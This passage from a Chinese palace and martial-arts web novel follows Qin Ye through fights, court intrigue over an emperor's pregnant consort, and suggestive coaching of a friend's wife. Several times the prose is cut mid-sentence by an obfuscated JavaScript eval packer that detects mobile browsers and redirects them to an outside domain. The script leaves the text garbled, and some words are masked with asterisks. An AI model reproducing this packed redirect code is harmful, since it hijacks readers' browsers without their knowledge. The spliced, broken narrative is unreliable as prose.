“秦烨！”阳博玉从人群中走出，面色狰狞，“今晚，就是你的死期！” 柳霜华花容失色：“阳博玉，你要做什么？” “霜华，你退后。”秦烨轻轻推开柳霜华，目光在那些黑衣人身上扫过，“就凭这些杂鱼，也想取我性命？” 阳博玉狞笑一声：“狂妄！给我上，活要见人，死要见尸！” 黑衣人闻令而动，刀光剑影中，秦烨依旧从容不迫。他右手一翻，紫电剑凭空出现，剑身泛起淡淡红光。 “既然你找死，那我就成全你。”秦烨眼中闪过一丝寒芒。 剑光乍现，血花四溅。黑衣人的攻势看似凌厉，实则破绽百出。秦烨在人群中穿梭自如，每一剑都准确无误地刺中要害。 短短片刻，十几名黑衣人已倒下大半。剩下的人面露惊恐之色，不由自主地后退。 “怎么可能……”阳博玉瞪大双眼，难以置信地看着眼前这一幕。这些可都是他花重金请来的好手，怎么在秦烨面前如此不堪一击？ 秦烨缓步向前，剑尖滴血：“现在，该轮到你了。” 阳博玉脸色煞白，转身就要逃跑，却被一道剑气拦住去路。他双腿一软，跪倒在地：“饶……饶命！我再也不敢了！” “晚了。”秦烨手腕一抖，紫电剑化作一道红光。 就在这千钧一发之际，一个洪亮的声音突然响起：“住手！” 众人循声望去，只见柳富金带着一队护卫匆匆赶来。他看了看满地的尸体，又看向秦烨，脸上露出复杂的表情。 “秦公子，此事到此为止如何？”柳富金拱手道，“阳家虽然不知天高地厚，但毕竟是本地大族。若是闹出人命，恐怕对谁都不好。” 秦烨收起紫电剑，淡淡道：“看在柳老板的面子上，今日饶你一命。”他看向瘫软在地的阳博玉，“若再有下次，就不是这么简单了。” 阳博玉连连点头，在手下的搀扶下狼狈离去。 柳霜华这才回过神来，美眸中异彩连连。她从未见过如此英姿飒爽的男子，一时间心跳加速，面若桃花。 “秦公子身手不凡，不知可否赏脸到寒舍一叙？”柳富金笑呵呵地说道。 秦烨看了眼柳霜华，见她眼中满是期待，便点头答应：“既然柳小姐盛情相邀，在下自当从命。” 夜色渐深，街道上灯火阑珊。一行人向柳府走去，谁也没注意到远处屋顶上，一道黑影正默默注视着这一切。 那人低声自语：“有意思，看来这小子的来历不简单啊……”说完，身形一闪，消失在夜色中。 司马府内，灯火通明。司马辉正在书房中查看一张药方，这是司马玉华从宫中送来的，要求家中药房按方抓药送入宫中。 药方上的字迹工整清晰，可内容却让司马辉感到蹊跷。他将药方翻来覆去地看了几遍，眉头越皱越紧。 “去请谭神医过来。”他唤来门外的下人，声音里带着几分急切。 不多时，一位白发苍苍的老者被请入府中。这位便是汴城名医谭神医，年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481745|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过九旬，长生养气秘术，深受达官贵人推崇。 “谭神医请看这方子。”司马辉将药方递过去，目光紧紧盯着老者的表情。 老者接过药方，随意扫了一眼，“这不过是调养身子的普通方子。” 话音未落，他突然神色一变，仔细端详起来。浑浊的眼睛渐渐亮起来，“妙！妙！妙啊！” 司马辉心中一动，“何处妙法？” “这方子巧妙地掩盖了真实用途。”谭神医赞叹道，手指轻轻点着药方上的几味药材，“老夫差点看走了眼。这里用桂枝掩人耳目，实则暗藏玄机……” “哦？那这方子究竟是……”司马辉强压着内心的激动。 “养胎之方。”谭神医笑着说出这三个字。 这三个字如惊雷般在司马辉耳边炸响。他强自镇定，手指微微颤抖，“原来如此，开方之人确实高明。” “何止高明，连老夫都差点看不出来。”谭神医捋着胡须，“这方子用药精妙，既能安胎养胎，又不露半点痕迹。开方之人医术之高，令人叹服。” 寒暄几句后，司马辉送走谭神医，独自站在书房中，激动得难以自持。烛光摇曳，在墙上投下他颤动的身影。 药方是从司马玉华那送来的，而开方的人是秦烨。这意味着什么？ 意味着他的女儿已经怀上了皇帝的龙种！司马家即将诞下大周的第一位皇子！ 想到未来可能会有一位带着司马家血脉的皇帝，司马辉的手不住地颤抖。他走到书房的窗前，望着夜空中的弦月，眼中闪烁着激动的泪光。 “多亏了秦烨啊……”他暗自感慨。若非秦烨帮助解决了陛下的隐疾，又在宫中悉心照料，传授种种生子秘诀，女儿也不会这么快就有了身孕。 这次还特意开了这么隐秘的方子，想必也是为了保护胎儿。司马辉越想越是欣慰，脸上的笑容怎么也掩饰不住。 他小心翼翼地将药方收好，吩咐下人按方抓药，务必要用最好的药材。 第六十九章 对付端木正 司马辉走到院中，眉头紧锁，脚步来回踱动。庭院里的花香萦绕，却丝毫无法缓解他此刻的烦闷。 “秦烨帮了这么大的忙，若是不表示一番，实在说不过去。”他喃喃自语，“可该赏些什么好呢？” 院中的石桌上摆着几件准备好的礼物：一柄百炼精钢打造的宝剑，一块上等的墨玉，还有几卷珍贵的古籍。但这些在司马辉看来，似乎都配不上秦烨的功劳。 “大人，”管家躬身走来，“要不要再去库房看看？” 司马辉摆了摆手：“不必了。”他抬头望向天际的明月，“这些俗物，怕是入不了秦大人的眼。” 与此同时，秦烨已经回到了承明殿。 推开沉重的殿门，扑面而来的是一股清冷的气息。殿内灯火通明，映照着正在批阅奏疏的女帝上官瑾。她连头都没抬，只是冷哼一声，手中的朱笔在奏章上重重划下一道。 昨日的不愉快仍在继续。空气中弥漫着一股难以言喻的压抑。 秦烨站在殿中，看着案前专注批阅的身影。那张清冷的面容上看不出任何情绪，只有朱笔划过纸张的沙沙声在殿内回响。 “陛下在看奏章？”秦烨开口，语气里带着几分刻意的疏离。 上官瑾这才抬起头，面容微带怒意，语气更是冰冷：“你眼睛瞎了不成？” “是啊，我瞎了。”秦烨毫不示弱地回怼，“看不见陛下的龙颜，也看不见陛下的心思。” 殿内的气氛骤然凝固。两人之间仿佛有一道无形的屏障，谁都不愿先低头。 一个太监战战兢兢地端着茶盘进来，看到殿内的气氛，吓得差点将茶盘摔在地上。他颤抖着将茶盘放在案几上，然后飞快地退了出去。 “陛下若无事，我先告退了。”秦烨转身就要离开。 “站住！”上官瑾的声音在身后响起。 秦烨停下脚步，嘴角微扬：“看样子陛下还有话想说。”他转过身，目光直视着那道高高在上的身影，“不过那件事就别提了。” “谁说朕要提那件事了？”上官瑾冷声道，手中的朱笔重重放在案几上，发出一声脆响。 秦烨走近几步，与她对视：“难道不是？” “朕要说的是端木正。”上官瑾放下手中的奏疏，语气中带着一丝凝重，“他已经对你动手了，此人不除，终是后患。” 殿内的烛火摇曳，在地上投下晃动的影子。一阵夜风从窗外吹来，带着几分凉意。 “端木正？”秦烨眼中闪过一丝精芒，“陛下是想换上自己的人？” 上官瑾没有回答，但那双凤眸中的意味不言而喻。她起身走到窗前，望着外面的夜色，背影显得有些孤寂。 “这事简单。”秦烨笑道，语气中带着几分胸有成竹。 “简单？”上官瑾转身，冷笑道，“他可是禁军总戎，手握重兵，朝中根基深厚，岂是那么容易对付的？” 秦烨不紧不慢地走到她身边：“陛下可知道禁军这些年的情况？” “什么情况？”上官瑾蹙眉。 “空饷。”秦烨轻描淡写地吐出两个字，目光却异常锐利。 上官瑾眼睛一亮，瞬间明白了秦烨的意思。她快步走回龙案前，提笔写下一道密令。 很快，影卫便带回消息，禁军确实存在大量空额，端木正中饱私囊多年，**数额惊人。 “你怎么知道得这么清楚？”上官瑾惊讶地看着秦烨。 “猜的。”秦烨神秘一笑，“这种事，见得多了自然就懂了。” “就算抓到他**，想要拿下他也不容易。”上官瑾皱眉道，“他在禁军经营多年，手下死士众多。” 秦烨神秘一笑：“若是他畏罪潜逃了呢？” 上官瑾一愣，随即明白了秦烨的意思。她再次派人去查探，果然发现端木**邸空无一人，像是人间蒸发了一般。 “人呢？”上官瑾追问。 “**。”秦烨淡淡道。 上官瑾赞许的点点头：“那就给他定个畏罪潜逃的罪名。” “陛下英明。” “少在这里拍马屁！”上官瑾没好气道，“你这奴才，朕是管不了了。行了，你退下吧。” “我就在这里陪陛下。”秦烨不动如山，找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481746|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个角落盘膝而坐。 殿内的烛火依旧明亮，照亮了女帝批阅奏章的身影，也照亮了角落里**的秦烨。时间在这一刻仿佛静止，只有微风轻拂，带来阵阵花香。 夜色深沉，繁星点点。 秦烨盘坐在殿内，周身内力流转，试图冲击更高的境界。灵气在经脉中游走，如涓涓细流般缓缓流淌，却始终无法突破那层若有若无的屏障。 他眉头微皱，调整呼吸的节奏，继续尝试突破。体内的内力如同潮水般涌动，一次次冲击着那道无形的壁垒。 “轰！” 内力在经脉中猛烈震荡，秦烨闷哼一声，嘴角溢出一丝鲜血。 “还是不行吗……”他擦去嘴角的血迹，有些无奈。 这已经是今晚第三次尝试突破了，每一次都在即将突破的关键时刻功亏一篑。 一旁批阅奏折的上官瑾时不时将目光投向了秦烨，几欲开口，却终是作罢。 殿外传来脚步声，打断了她的思绪。 “陛下，该翻牌子了。”太监尖细的嗓音透过门缝传来。 “滚！”上官瑾冷冷的声音从寝殿内传出，语气中带着明显的不耐烦。 太监的声音带着几分惶恐：“可是陛下，昨日也没有……” “你是聋了吗？朕说了不翻牌子！”上官瑾的语气更加冰冷，“再多嘴，小心你的脑袋！” 太监连连叩首，慌忙退下，脚步声渐渐远去。 秦烨听到这对话，不由得摇头轻笑。自从司马玉华怀孕的事情被发现后，上官瑾就一直在跟他冷战，连带着后宫侍寝都成了禁忌话题。 上官瑾被这事搅的内心愈发烦躁，索性独自进了寝殿，独留秦烨一人。 秦烨起身活动了下有些僵硬的筋骨，看向寝殿的方向。殿内一片漆黑，只有微弱的烛光透过窗棂洒落。 “这女人……”秦烨轻声自语，迈步向寝殿走去。 推开门时，一阵水声传来。顺着声音望去，浴室的方向隐约可见氤氲的水汽。 他放轻脚步，向浴室走去。黑暗中传来细微的水声，还有若有若无的幽香。 第七十章 留还是不留 推开浴室的门，水汽氤氲中，上官瑾正泡在池中。月光透过窗棂洒落，勾勒出她完美的身形。 “这么晚了还不休息？”秦烨笑着问道。 “你！”上官瑾猛地站起，水花四溅，“滚出去！” 她下意识地用手遮挡，但很快又意识到这个动作有多么可笑。她可是堂堂女帝，何须在意这些？ “陛下这是在生什么气？”秦烨不紧不慢地说，“司马玉华的事，不是还没定论吗？” “你少在这里说风凉话！”上官瑾怒道，“这件事你难辞其咎！” “我怎么就难辞其咎了？”秦烨走近几步，“要不是你非要让我去应付那些后宫嫔妃……” “住口！”上官瑾打断他，声音有些颤抖，“你以为我愿意吗？那些大臣天天催着要皇嗣，我能怎么办？” 秦烨看着她气急败坏的样子，不禁莞尔：“所以你现在是在为难？要留还是不留？” “你……”上官瑾语塞，随即冷笑，“秦烨，你觉得很好笑是吗？” “我只是觉得，陛下何必为这种事烦恼。”秦烨正色道，“留与不留，不都是你一句话的事？” “你以为我是什么人？随意决定一个生命的去留？”上官瑾咬牙道，眼中闪过一丝痛苦。 水面泛起涟漪，映照着她复杂的神色。 “那你更在意的是什么？”秦烨反问，“是那个未出世的孩子，还是……” “够了！”上官瑾打断他，“你给我出去！” 秦烨却不为所动：“你我都清楚，这件事迟早要面对。后宫佳丽三千，总不能一直这样下去。” “那你说怎么办？”上官瑾冷声道，“让她们一个个都怀上你的种？然后生下来跟我争夺江山吗？” “原来你是在担心这个。”秦烨恍然。 “我没有！”上官瑾别过头，但眼中的慌乱却出卖了她。 “你有。”秦烨笑道，“否则也不会这些天都不翻牌子。” 上官瑾沉默不语，水面上的涟漪渐渐平息。 “其实解决的办法很简单。”秦烨缓缓道，“只要……” “我不想听！”上官瑾打断他，“你现在立刻给我出去！” “好，我出去。”秦烨转身，“不过陛下要记住，逃避解决不了问题。” “你！”上官瑾气得浑身发抖。 秦烨已经推门而出，留下上官瑾一个人在浴池中发呆。 水已经有些凉了，她却浑然不觉。这些天来的烦恼似乎都涌上心头：司马玉华的孩子、后宫侍寝、柔木氏公主即将进宫……每一件都让她头疼不已。 而最让她烦躁的，是那个总是一副无所谓样子的男人。 “秦烨……”上官瑾轻声念着这个名字，眼中闪过复杂的神色。 她想起第一次见到他时的场景。那时的他，还只是一个普通的太监。谁能想到，他居然成了自己最信任的人。 可是现在…… 上官瑾闭上眼，深深叹了口气。 第二天一早，上官瑾去上朝了。 秦烨则来到长春宫，为司马玉华诊脉。他仔细检查着她的脉象，眉头微皱：“娘娘最近睡眠可还安好？” 司马玉华摇了摇头，眼中带着疲惫：“总是做些乱七八糟的梦，醒来就记不清了。” “我明白了。”秦烨点点头，随后验看了从司马家取来的药材。确认无误后，他开始调配药方。 一边配药，秦烨一边暗自思忖。司马玉华的情况比他想象的要复杂，这背后恐怕另有隐情。不过现在不是追查的时候，还是先稳住她的病情要紧。 配完药后，秦烨叮嘱道：“娘娘记得按时服用，若有任何不适，随时召我。” 离开长春宫，秦烨径直前往玄铁会。 玄铁会内，赵马玄正如获至宝般把玩着紫电剑。这把剑来历颇为蹊跷，昨日拍卖会上，半路杀出个程咬金似的阳博玉，差点让赵马玄与此剑失之交臂。 谁知阳博玉当晚就死在了小巷里。由于他未付拍卖款，这剑便算作流拍。柳富金顺水推舟，把剑送给了赵马玄。 “赵兄，让我给你把把脉。”秦烨说道。 赵马玄依言伸出手腕，目光却始终没离开紫电剑。剑身上流转的紫光映在他脸上，显得格外诡异。 秦烨搭上脉门，仔细诊察。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481747|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻后，他点头道：“赵兄的身体已无大碍，想必很快就能有好消息了。” 一旁的商媛急切问道：“可是都喝了这么多天药了，怎么还没动静？”她的声音中带着几分焦虑和失落。 秦烨笑着为她解释了排卵期与安全期的关系，以及各种影响受孕的因素。 商媛听得目瞪口呆：“原来这事还有规律可循？” “不仅如此。”秦烨看了眼只顾摆弄宝剑的赵马玄，压低声音问商媛，“嫂嫂，冒昧问一句，你们平日里那个……都用什么姿势？” 商媛俏脸一红，但还是老实回答了。 秦烨听完直摇头，这赵马玄也太不解风情了。难怪商媛一直怀不上，就这么一个姿势，能行吗？ “嫂嫂，我教你几个姿势。”秦烨指了指桌子，“就在这里演示。” 商媛虽然羞涩，但为了能尽快怀上孩子，还是按秦烨说的做。她婀娜的身姿在桌边摆动，看得秦烨不由得咽了咽口水。 秦烨站在那里，目光温和地看着商媛，耐心地讲解着：“嫂嫂，这事情讲究的是循序渐进，不能操之过急。就像练武一样，得一步一步来。” 商媛认真地听着，时不时点头。她身着一袭淡青色长裙，发髻高挽，显得端庄优雅。但此刻，她的眼中却闪烁着几分羞涩与期待。 “原来这种套路，竟然有这么多讲究。”商媛的声音轻柔，带着几分惊讶，“以前我都不知道……” 秦烨微微一笑：“男女之事，看似简单，实则大有学问。就拿呼吸来说，也是有讲究的。” 他示意商媛靠近些：“来，我教你一个小技巧。” 商媛犹豫了一下，还是向前迈了一步。她能感觉到秦烨身上传来的淡淡药香，这是常年炼丹留下的气息。 “要记住，”秦烨压低声音，“在关键时刻，要配合着对方的节奏……” 他的话还未说完，就见商媛的脸颊已经染上了一层红晕。那抹红色从脸颊一直蔓延到了耳根，像是晚霞染红了天际。 秦烨见状，心中暗笑。这位嫂嫂看起来端庄，实则内心羞涩得很。不过这样也好，至少说明她对赵马玄还是在意的。 第七十一章 指导嫂嫂 “嫂嫂，我看赵兄平日里对这些事情不太上心。”秦烨继续说道，“所以你得主动一些才行。男人嘛，有时候需要女人来点拨。” 热气随着话语喷在耳畔，商媛只觉得耳根发烫。她下意识地想要后退，却又强迫自己站在原地。 “可以先用唇舌，从胸口开始……”秦烨的声音更低了，“然后慢慢向下……” 商媛听得面红耳赤，却还是认真地记在心里。她知道，秦烨说的这些都是为了帮她。 “按我说的做，很快就能有好消息了。”秦烨笑着说，“到时候，赵兄一定会对你刮目相看。” “但愿如此。”商媛抿嘴一笑，眼中暗含期待。 这时，一直在研究紫电剑的赵马玄终于注意到了这边的动静。他抬起头，目光在两人之间来回扫视：“你们在说什么悄悄话？” 赵马玄身材魁梧，一身劲装勾勒出结实的肌肉线条。此刻，他手中握着紫电剑，剑身在烛光下泛着淡淡的紫光。 商媛见状，不由得皱起眉头。这个男人，整天就知道研究兵器，对自己的妻子却不闻不问。 “你倒是一点都不关心。”商媛嗔怪道，“贤弟传授了这么多，可不只是为了你。” 堂堂玄铁会帮主在妻子面前顿时变得乖巧起来。他放下手中的宝剑，讪笑道：“我这不是被紫电剑吸引住了嘛。再说了，夫人学会了不也可以教我？” “哼！”商媛别过头去，但嘴角却微微上扬。 秦烨看着这一幕，心中暗笑。这对夫妻感情倒是不错，就是赵马玄有些不解风情。不过经过自己这一番指点，想必今晚赵兄的身子怕是要吃不消。 “贤弟，”赵马玄看向秦烨，眼中带着几分歉意，“没什么事吧？” “没事，嫂嫂没生气。”秦烨笑着上前，从匣子里抽出紫电剑，“赵兄，我能借用几日吗？” 紫电剑出鞘的瞬间，一道紫光闪过，仿佛有火焰在剑身上流转。这把剑不愧是江湖中的名剑，单是这卖相就不同凡响。 “这个……”赵马玄有些犹豫，手指无意识地摩挲着剑鞘。这把剑他好不容易才得到，实在是舍不得离手。 商媛却直接说道：“贤弟喜欢就拿去用吧，我替他做主了。”她说这话时，目光意有所指地看了赵马玄一眼。 “嫂嫂，这不太好。”秦烨摇头，“赵兄这么喜欢，我借几日就够了。” “拿去吧，省得他整天对着剑发呆。”商媛说着，又瞪了赵马玄一眼。 秦烨大笑几声，看来今晚赵兄是在劫难逃了。 赵马玄无奈，只好将剑匣递了过去：“贤弟一定要小心保管。这把剑来之不易，可不能有闪失。” “放心，过几日就还。”秦烨说完，向两人告辞离去。 他刚走出书房，就听到身后传来一阵窸窸窣窣的声音。显然，商媛已经迫不及待地要实践他教的那些了。 秦烨摇头轻笑，脚步轻快地走出了玄铁会总舵。 秦烨离开玄铁会后，天机商行的议事堂内正上演着一场剑拔**张的对话。 五大长老齐坐一堂，其中阳四爷的脸色阴沉得能滴出水来。他死死盯着面前的茶杯，手指不断敲击着桌面，发出令人心烦的声响。茶水在杯中微微晃动，映照出他扭曲的面容。 “诸位可知道，昨日我儿阳博玉在拍卖会附近被人杀害？”阳四爷猛地抬头，目光如刀般扫过在座每个人。他的声音沙哑中带着一丝颤抖，显然已经强压着怒火许久。 大厅内一片寂静，其他长老面面相觑，暗自思忖。这阳博玉平日在汴城横行霸道，仗着阳家的势力为非作歹，不知得罪过多少人。如今横死街头，说不定还有人在暗自叫好。 “此事确实骇人听闻。”二长老钱晖轻抚胡须，缓缓开口道，“衙门那边可有什么线索？” “衙门？”阳四爷冷笑一声，“我何须靠那些吃闲饭的？凶手是谁，我心里清楚得很！” 他猛地站起身来，双手撑在桌上，青筋暴起：“就是那个在拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦烨靠在车厢内，手中把玩着那柄紫电剑。他的目光落在剑身上那道若隐若现的纹路上，眉头不自觉地皱起。 “这剑中究竟藏着什么秘密……”他轻抚剑身，指尖传来一丝温热。这柄剑自从落入他手中，就不断给他带来疑惑。每当他运转真气，剑身都会泛起异样的紫光，仿佛在回应着什么。 第七十二章 为儿报仇 街道上行人渐多，小贩的吆喝声此起彼伏。突然，马车猛地一个急刹，秦烨身形晃动，手中的紫电剑差点脱手。 “怎么回事？”他沉声问道，语气中带着不悦。 车夫颤抖着声音回答：“公……公子，前面有人拦路……” 秦烨掀开车帘，寒风灌入车厢。只见前方站着一群人，为首的是个面容狰狞的老者，身后跟着十几个手持兵器的打手。那些人虎视眈眈地盯着马车，眼中杀意毕露。 几个打手身上隐约有真气波动，气息凌厉。秦烨眯起眼睛，心中暗自盘算【这些人应该都是六品境界的武者，实力不容小觑。】 “姓秦的，你的好日子到头了！”老者突然怒吼一声，声音中充满仇恨。 秦烨缓缓起身，嘴角勾起一抹冷笑。他整了整衣袍，从容地走下马车。青石板上还带着晨露，有些湿滑。 “你是谁？”他淡淡问道，语气中听不出丝毫波动。 老者双眼通红，死死盯着秦烨：“我是阳四！你杀了我儿子阳博玉，今天我要让你生不如死！” “原来是阳博玉的父亲。”秦烨轻笑一声，“你儿子自己送上门来找死，怪得了谁？” “混账东西！”阳四暴怒，脸上的皱纹都扭曲起来，“你以为赵马玄能保得住你？给我上，把他给我抓住，我要让他尝尽人间痛苦！” 周围的打手纷纷举起兵器，缓缓向秦烨逼近。刀光剑影中，杀气弥漫。路边的行人见状纷纷躲避，有人惊慌失措地跑去报官，但显然阳四早已打点好了衙门。 秦烨摇头叹息：“非要逼我出手……” 街道上杀气弥漫，一场恶战一触即发。 “住手！”一声暴喝划破长空，震得街边的茶摊小贩都不由得一颤。 马蹄声由远及近，车轮碾过青石板路面发出沉闷的轰鸣。柳富金的马车疾驰而来，扬起的尘土在阳光下形成一片金色的帘幕。 街边的行人纷纷避让，交头接耳议论着这突如其来的动静。有人认出了马车上的徽记，低声惊呼：“是汴城商会的柳会长！” 阳四眯起眼睛，目光如刀般锐利。他原本正准备对秦烨动手，此刻不得不暂缓脚步，冷冷地看着这个不速之客：“柳会长，你来这里做什么？” 马车停稳，柳富金大步跨下。他今日身着一袭藏青色锦袍，腰间玉带流光溢彩。尽管已年过半百，但举手投足间依旧透着不容小觑的气势。 “秦公子是我的朋友。”柳富金站定，目光扫过在场众人，最后落在阳四身上，“谁要动他，就是与我柳富金为敌！” 秦烨靠在墙边，嘴角挂着若有若无的笑意。他倒要看看，这位汴城商会的会长，究竟有多大能耐。 “哈哈哈！”阳四仰天大笑，笑声中充满讥讽，“柳会长，你可知道这小子做了什么？他杀了我儿子！今日，我非得要他的命！” 说到儿子，阳四的声音陡然拔高，脸上青筋暴起。他身后的打手们也纷纷握紧了兵器，蓄势待发。 “你那不成器的儿子，死有余辜。”柳富金冷声道，目光如铁，“我劝你适可而止。” 阳四脸色骤变，额头上的青筋更加明显：“好一个柳富金，你身为汴城商会会长，不替我们商会成员做主，反倒帮着外人？” 秦烨轻笑一声，从怀中缓缓掏出一枚玉牌。阳光下，玉牌表面流转着温润的光泽。他在众人面前晃了晃：“谁说我是外人？” 玉牌上的纹路清晰可见，那是汴城商会名誉会长的身份象征。周围顿时响起一片倒吸冷气的声音。 柳富金瞳孔微缩，心中掀起惊涛骇浪。他本想拉拢秦烨入会，没想到对方早已是商会中的重要人物。这一刻，他甚至有些庆幸自己及时赶到。 “不可能！”阳四瞪大双眼，不可置信地盯着那枚玉牌，“你一个毛头小子，怎么可能……” 话未说完，他突然注意到玉牌上若隐若现的“钱”字，顿时大喜过望：“哈！原来是偷来的钱家玉牌！” 秦烨不置可否，只是淡淡道：“要动手就快点，我没工夫跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人不约而同地抬头望去，只见一道黑影疾驰而来。马背上的人影矫健有力，在接近茶楼时一个翻身，稳稳地落在地上。扬起的尘土还未散去，那人已经大步流星地走到了阳四面前。 “砰！” 来人一把抓住阳四的衣领，将他提了起来。阳四双脚离地，脸色瞬间变得煞白。 “你敢动我兄弟？”赵马玄的声音低沉而充满威胁。作为玄铁会帮主，他的到来让在场所有人都不由自主地绷紧了神经。 阳四额头渗出细密的汗珠，他万万没想到赵马玄会来得这么快。挣扎了几下，却无法挣脱赵马玄的钳制。 “赵帮主……”阳四声音有些发颤，“这秦烨杀了我儿子阳博玉！我找他报仇，有什么不对？难道赵帮主要为了一个外人，与我阳家为敌？” “你那个畜生儿子，”赵马玄冷笑着，“要不是我兄弟动手，迟早也是我亲自送他上路。**正好，你若识相，赶紧滚！” 阳四被赵马玄的话激怒，脸上青一阵白一阵。他咬牙切齿道：“给我上！杀了这个秦烨！” 赵马玄眉头微皱，松开了阳四的衣领。他本不想见血，但阳四这是在自寻死路。 几个六品武者面面相觑，谁也不敢轻举妄动。赵马玄的实力他们心知肚明，有他在场，谁敢造次？冷汗顺着他们的额头滑落，打湿了衣襟。 “怎么？”赵马玄环视一周，目光如刀，“都成了缩头乌龟？” 阳四见状，终于意识到今日怕是难以报仇。他深吸一口气，语气软了下来：“赵帮主，此事就此作罢如何？” “作罢？”赵马玄冷哼一声，声音中带着讥讽，“你还没向我兄弟道歉呢！” 阳四脸上火辣辣的，多年来养尊处优，何曾受过这等**？他的手指不自觉地攥紧，指甲深深陷入掌心。 这时，柳富金上前一步，打圆场道：“阳四，事已至此，不如道个歉，大家也好收场。” 阳四咬了咬牙，低下了高傲的头颅：“秦公子，老朽多有得罪，还请恕罪。” “恕罪？”秦烨冷笑，目光如刀般锐利，“你觉得一句道歉就够了？” 阳四猛地抬头，没想到秦烨竟敢不给这个台阶。他的眼中闪过怒火，但很快就被压了下去。 赵马玄默不作声，静静地看着这一切。柳富金也看出了秦烨眼中的杀意，不再多言，悄悄退到一旁。 钱有德和钱欢对视一眼，都从对方眼中看到了然。这个年轻人，远比他们想象的要难对付得多。 “秦公子，面子都是互相给的。”阳四向身后的家丁和六品高手使了个眼色，声音中带着几分威胁。 几个人缓缓向秦烨靠近，准备护送阳四离开。他们的手已经按在了腰间的兵器上，随时准备出手。 “互相给面子？”秦烨冷冷道，目光扫过那些蠢蠢欲动的武者，“像你这种人，今日放你离开，明日就会派**来暗杀。我可没兴趣整日防着你。” 说着，秦烨挥了挥手，动作轻描淡写，却带着不容置疑的意味。 这时，黑暗的角落处走出一个魁梧的男人，这人正是武勇。 武勇会意，上前两步。他的身形看似随意，却给人一种山岳般的压迫感。 几个六品高手连忙赔笑：“兄弟，何必如此？” “我武勇在此，想护他，先过我这关！”武勇身上爆发出一股强大的气势，五品巅峰的威压瞬间笼罩全场。 几个六品武者顿时喘不过气来，仿佛有一座大山压在胸口。他们这才意识到眼前这人实力深不可测，哪是他们能对付的？ “四爷，对不住了。”几个武者纷纷后退，脸上写满了惶恐。 阳四面如土色，双腿发软，几乎站立不稳。而赵马玄却露出惊讶之色：“敢问兄台高姓大名？” “武勇是也！”武勇的声音不大，却震得茶楼的窗户微微颤动。 “原来是左手刀武勇，失敬！”赵马玄连忙抱拳，眼中闪过一丝敬意。 钱欢听到这个名号，不禁冷汗直流。早知道武勇是这等高手，他哪敢之前那般放肆？现在想来，简直是在鬼门关前走了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第七十四章 武勇的小师妹 赵马玄正了正衣襟，“今日刚从家中出来，正愁无处消遣。既然钱兄盛情相邀，那就恭敬不如从命了。” 柳富金捋了捋胡须，笑道：“难得有这样的机会，老夫自然要凑个热闹。” 武勇看了眼钱欢，见他确实诚心认错，也不好再追究，便点头道：“既然如此，那就一同前去吧。” 众人来到大周最负盛名的醉仙楼，掌柜亲自带着几人来到三楼雅间。这里装饰考究，檀木桌椅上雕刻着精美的花纹，窗外便是繁华的街市，远处还能看到皇宫的轮廓。 酒菜很快上桌，觥筹交错间，气氛渐渐热络起来。钱欢不时给秦烨和武勇敬酒，态度恭敬，哪还有半分之前的傲慢。 柳霜华坐在一旁，美目时不时地瞟向秦烨。这个年轻人举手投足间透露出的从容气度，与他展现出的实力相得益彰，让人不由自主地想要亲近。 酒过三巡，赵马玄放下酒杯，目光灼灼地看向武勇：“武兄的左手刀法名震江湖，不知可否切磋一二？老夫也想见识见识。” 武勇微微一笑：“我刀法不错，但内力不佳，这比试怕是要让赵兄失望了。” “只比刀法，不比内力如何？”赵马玄眼中闪过一丝期待。 “既然赵兄有此雅兴，在下自当奉陪。” 众人随即来到后院。院中空地宽敞，四周种着几株古树，枝叶婆娑，为这个炎热的午后带来一丝凉意。 